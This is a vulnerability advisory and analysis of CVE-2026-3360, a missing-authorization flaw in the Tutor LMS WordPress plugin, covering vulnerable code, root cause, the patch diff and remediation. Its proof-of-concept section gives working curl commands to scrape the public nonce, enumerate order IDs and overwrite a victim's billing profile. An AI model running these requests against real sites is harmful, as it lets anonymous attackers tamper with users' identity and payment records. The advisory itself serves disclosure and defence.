CVE-2026-3360: Tutor LMS Unauthenticated Billing Overwrite (CVSS 7.5)
Table of Contents
- Vulnerability Summary
- Description
- Technical Analysis
- 1. Hook Dispatch — classes/Tutor.php, line 563
- 2. Handler Registration — ecommerce/CheckoutController.php, line 109
- 3. The Vulnerable Function — ecommerce/CheckoutController.php, lines 1059–1120
- 4. Fillable Billing Fields — models/BillingModel.php, lines 25–35
- 5. Nonce Exposure — classes/Assets.php, lines 165–166
- Root Cause
- Why Existing Controls Failed
- Attack Impact
- Proof of Concept
- Patch Analysis
- Timeline
- Remediation
- References
CVE-2026-3360 is a CVSS 7.5 High missing authorization vulnerability in the Tutor LMS WordPress plugin. It allows any unauthenticated attacker to overwrite the billing profile (name, email, phone, address) of any user who holds an incomplete manual payment order — with nothing more than a guessed order ID and a nonce scraped from any public page.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Tutor LMS – eLearning and online course solution |
| Plugin Slug | tutor |
| CVE ID | CVE-2026-3360 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Vulnerability Type | Missing Authorization — Unauthenticated Arbitrary Billing Profile Overwrite (IDOR) |
| Affected Versions | <= 3.9.7 |
| Patched Version | 3.9.8 |
| Published | April 9, 2026 |
| Researcher | Supakiad S. (m3ez) — E-CQURITY (Thailand) LinkedIN |
| Wordfence Advisory | Link |
Description
The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in all versions up to, and including, 3.9.7. This is due to missing authentication and authorization checks in the pay_incomplete_order() function. The function accepts an attacker-controlled order_id parameter and uses it to look up order data, then writes billing fields to the order owner’s profile ($order_data->user_id) without verifying the requester’s identity or ownership.
Because the Tutor nonce (_tutor_nonce) is exposed on public frontend pages, this makes it possible for unauthenticated attackers to overwrite the billing profile — first name, last name, email, phone, address, country, state, city, and zip code — of any user who has an incomplete manual order, by sending a crafted POST request with a guessed or enumerated order_id.
Technical Analysis
The attack flows through four components: the init_action dispatcher, the action hook registration, the unguarded pay_incomplete_order() handler, and the publicly leaked nonce.
1. Hook Dispatch — classes/Tutor.php, line 563
On WordPress init, the plugin reads a tutor_action request parameter and fires it as a dynamic action hook with no authentication precondition:
// classes/Tutor.php:658-662
public function init_action() {
$tutor_action = Input::sanitize_request_data( 'tutor_action' );
if ( '' !== $tutor_action ) {
do_action( 'tutor_action_' . $tutor_action );
}
}
Any HTTP request to any WordPress URL with tutor_action=tutor_pay_incomplete_order — authenticated or not — will trigger the registered handler. There is no login check at this dispatch layer.
2. Handler Registration — ecommerce/CheckoutController.php, line 109
// ecommerce/CheckoutController.php:107-113
if ( $register_hooks ) {
add_action( 'tutor_action_tutor_pay_now', array( $this, 'pay_now' ) );
add_action( 'tutor_action_tutor_pay_incomplete_order', array( $this, 'pay_incomplete_order' ) );
...
}
The pay_incomplete_order method is registered to handle the above action with no authentication precondition.
3. The Vulnerable Function — ecommerce/CheckoutController.php, lines 1059–1120
public function pay_incomplete_order() {
$order_id = Input::post( 'order_id', 0, Input::TYPE_INT );
$payment_method = Input::post( 'payment_method', '' );
$request = Input::sanitize_array( $_POST );
$billing_model = new BillingModel();
$billing_fillable_fields = array_intersect_key( $request, array_flip( $billing_model->get_fillable_fields() ) );
if ( ! tutor_utils()->is_nonce_verified() ) {
tutor_utils()->redirect_to( ... );
exit;
}
if ( $order_id ) {
$order_model = new OrderModel();
$order_data = $order_model->get_order_by_id( $order_id );
if ( $order_data ) { // ← NO ownership check
try {
if ( ! empty( $payment_method ) && OrderModel::PAYMENT_METHOD_MANUAL === $order_data->payment_method ) {
$billing_info = $billing_model->get_info( $order_data->user_id );
if ( $billing_info ) {
// ← Overwrites billing data for $order_data->user_id — the ORDER OWNER, not the requester
$update_billing = $billing_model->update(
$billing_fillable_fields,
array( 'user_id' => $order_data->user_id )
);
} else {
$billing_fillable_fields['user_id'] = $order_data->user_id;
$save = $billing_model->insert( $billing_fillable_fields );
}
...
}
}
}
}
}
The function resolves the target user ($order_data->user_id) from the attacker-supplied order_id and writes the attacker-supplied billing fields to that user’s record without ever checking who is making the request.
4. Fillable Billing Fields — models/BillingModel.php, lines 25–35
The get_fillable_fields() method defines nine writable columns in wp_tutor_customers:
private $fillable_fields = array(
'billing_first_name',
'billing_last_name',
'billing_email',
'billing_phone',
'billing_zip_code',
'billing_address',
'billing_country',
'billing_state',
'billing_city',
);
All nine fields are overwritable in a single request.
5. Nonce Exposure — classes/Assets.php, lines 165–166
The Tutor nonce is injected into the JavaScript data object on every page load, visible to any visitor without authentication:
// classes/Assets.php:165-166
'nonce_key' => tutor()->nonce, // = '_tutor_nonce'
tutor()->nonce => wp_create_nonce( tutor()->nonce_action ), // action: 'tutor_nonce_action'
The nonce values are:
- Nonce field name:
_tutor_nonce - Nonce action:
tutor_nonce_action
Additionally, tutor_nonce_field() renders a hidden input in multiple public-facing templates:
templates/single/course/course-entry-box.php(any public course page)templates/ecommerce/checkout.phptemplates/single/quiz/body.phptemplates/single/lesson/complete_form.php
Any anonymous visitor can load a course, lesson, or quiz page and extract a valid nonce from the HTML source.
Root Cause
The pay_incomplete_order() function performs two operations driven by a user-controlled order_id:
- It resolves the order owner (
$order_data->user_id) from the database using the attacker-supplied ID. - It writes attacker-supplied billing fields directly to that owner’s profile.
There is no check that the requester is authenticated, and no check that the requester owns the order. The nonce check is present but provides no authentication protection because the nonce is a publicly readable, site-wide value embedded in every page.
Why Existing Controls Failed
| Control | Why it failed |
|---|---|
Nonce check (is_nonce_verified()) | The nonce is generated via wp_create_nonce('tutor_nonce_action') and embedded in the _tutorobject JS object and in public HTML templates on every page load. Any unauthenticated visitor can read a valid nonce from any course, lesson, or quiz page. The check prevents simple CSRF but provides zero authentication. |
No is_user_logged_in() guard | The function never checks whether a session exists before processing the order write. |
| No ownership check | Even if authenticated, there is no get_current_user_id() === $order_data->user_id verification before writing billing data. |
Attack Impact
An unauthenticated remote attacker can:
- Overwrite the billing profile (all nine fields: name, email, phone, address, country, state, city, zip) of any WordPress user who holds an incomplete manual payment order.
- Disrupt payments and identity data for targeted users without needing any credentials.
- Enumerate order IDs — typically sequential integers — to target arbitrary users on the platform at scale.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.
Prerequisites
- WordPress installation with the
tutorplugin installed and activated. - Plugin version <= 3.9.7.
- At least one user (victim) has an incomplete manual payment order (payment method
manual, order in incomplete state). - The attacker knows or can guess the victim’s
order_id(typically a sequential integer).
Step 1: Retrieve a Valid Tutor Nonce from Any Public Page
Browse any public Tutor course, lesson, or quiz page without logging in. The nonce is embedded in the _tutorobject JavaScript object:
curl -s "https://TARGET_SITE/courses/sample-course/" \
| grep -o '"_tutor_nonce":"[^"]*"'
Expected output:
"_tutor_nonce":"a1b2c3d4e5"
Save this value as NONCE. Alternatively, extract it from a hidden form input:
curl -s "https://TARGET_SITE/courses/sample-course/" \
| grep -o 'name="_tutor_nonce" value="[^"]*"'
Step 2: Enumerate a Target Order ID
Order IDs are typically sequential integers starting from 1. A response that redirects toward a payment page confirms a valid order. Requests that return “Order not found” can be skipped. The function only writes billing data when the matched order uses payment_method = 'manual'; a few iterations will usually find a qualifying incomplete order on active installations.
Step 3: Send the Crafted POST Request
curl -s -X POST "https://TARGET_SITE/" \
-d "tutor_action=tutor_pay_incomplete_order" \
-d "order_id=VICTIM_ORDER_ID" \
-d "payment_method=manual" \
-d "_tutor_nonce=NONCE" \
-d "billing_first_name=Attacker" \
-d "billing_last_name=Controlled" \
-d "billing_email=attacker@evil.com" \
-d "billing_phone=0000000000" \
-d "billing_address=1 Hacked Street" \
-d "billing_city=HackerCity" \
-d "billing_state=HackerState" \
-d "billing_country=HackerCountry" \
-d "billing_zip_code=00000"
Replace:
TARGET_SITEwith the WordPress site URLVICTIM_ORDER_IDwith the enumerated order IDNONCEwith the value collected in Step 1
No login cookie is required. The server processes the request, writes the attacker-supplied billing data to wp_tutor_customers for the order owner’s user_id, and redirects to the payment flow.
Expected Result
The victim user’s billing profile in wp_tutor_customers is fully overwritten with the attacker-supplied values. Any subsequent checkout or invoice generation will use the tampered billing data.
Verification
Log in as a site administrator and navigate to the victim user’s billing information in the Tutor LMS order management or customer profile. All nine billing fields will reflect the attacker-supplied values.
Alternatively, query the database directly:
SELECT * FROM wp_tutor_customers WHERE user_id = VICTIM_USER_ID;
The billing_first_name, billing_email, and other columns will contain the attacker’s data.
Patch Analysis
What Changed
Only one PHP source file is directly relevant to this fix:
ecommerce/CheckoutController.php— two security guards added topay_incomplete_order().
Asset and vendor files were updated as part of the release but contain no security-relevant changes.
Fix Explanation
The patch introduces two independent guards at the top of pay_incomplete_order() before any user input is processed:
- Authentication check:
is_user_logged_in()— the function immediately redirects unauthenticated requests before reading any POST data, blocking the entire attack surface for anonymous callers. - Ownership check: The condition
if ( $order_data )is strengthened toif ( $order_data && get_current_user_id() === (int) $order_data->user_id )— even an authenticated user cannot modify billing data for an order they do not own.
Together these patches fix both the root cause (no authentication) and the secondary IDOR (no ownership verification). The nonce exposure on public pages was intentionally left unchanged — the nonce continues to be globally readable, which is acceptable now that authentication and ownership are the actual security controls.
Residual consideration: Order IDs remain sequential and guessable, but an attacker must now be authenticated and own the order to trigger any billing write.
Code Diff (Key Changes)
--- a/ecommerce/CheckoutController.php (3.9.7)
+++ b/ecommerce/CheckoutController.php (3.9.8)
@@ -1057,6 +1057,12 @@ class CheckoutController {
* @return void
*/
public function pay_incomplete_order() {
+
+ // Authentication check.
+ if ( ! is_user_logged_in() ) {
+ tutor_redirect_after_payment( OrderModel::ORDER_PLACEMENT_FAILED, 0, __( 'Please log in first', 'tutor' ) );
+ }
+
$order_id = Input::post( 'order_id', 0, Input::TYPE_INT );
$payment_method = Input::post( 'payment_method', '' );
$request = Input::sanitize_array( $_POST );
@@ -1068,7 +1074,7 @@ class CheckoutController {
if ( $order_id ) {
$order_model = new OrderModel();
$order_data = $order_model->get_order_by_id( $order_id );
- if ( $order_data ) {
+ if ( $order_data && get_current_user_id() === (int) $order_data->user_id ) {
try {
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by Supakiad S. (m3ez) — E-CQURITY (Thailand) |
| April 9, 2026 | Publicly disclosed by Wordfence |
| April 9, 2026 | Patched version 3.9.8 released |
Remediation
Update the tutor plugin to version 3.9.8 or later immediately.
If an immediate update is not possible, consider these temporary mitigations:
- Use a WAF rule to block unauthenticated POST requests to any WordPress URL with the parameter
tutor_action=tutor_pay_incomplete_order. - Disable manual payment orders until the plugin is updated.
References
- Wordfence Advisory
- CVE-2026-3360 at CVE.org
- Vulnerable source — Tutor.php:563 (nonce dispatch)
- Vulnerable source — CheckoutController.php:108 (hook registration)
- Vulnerable source — CheckoutController.php:1059 (pay_incomplete_order)
- Patched source — CheckoutController.php:1059 (trunk)
- Patch changeset on Trac
- Researcher profile — Supakiad S.
- Tutor LMS on WordPress.org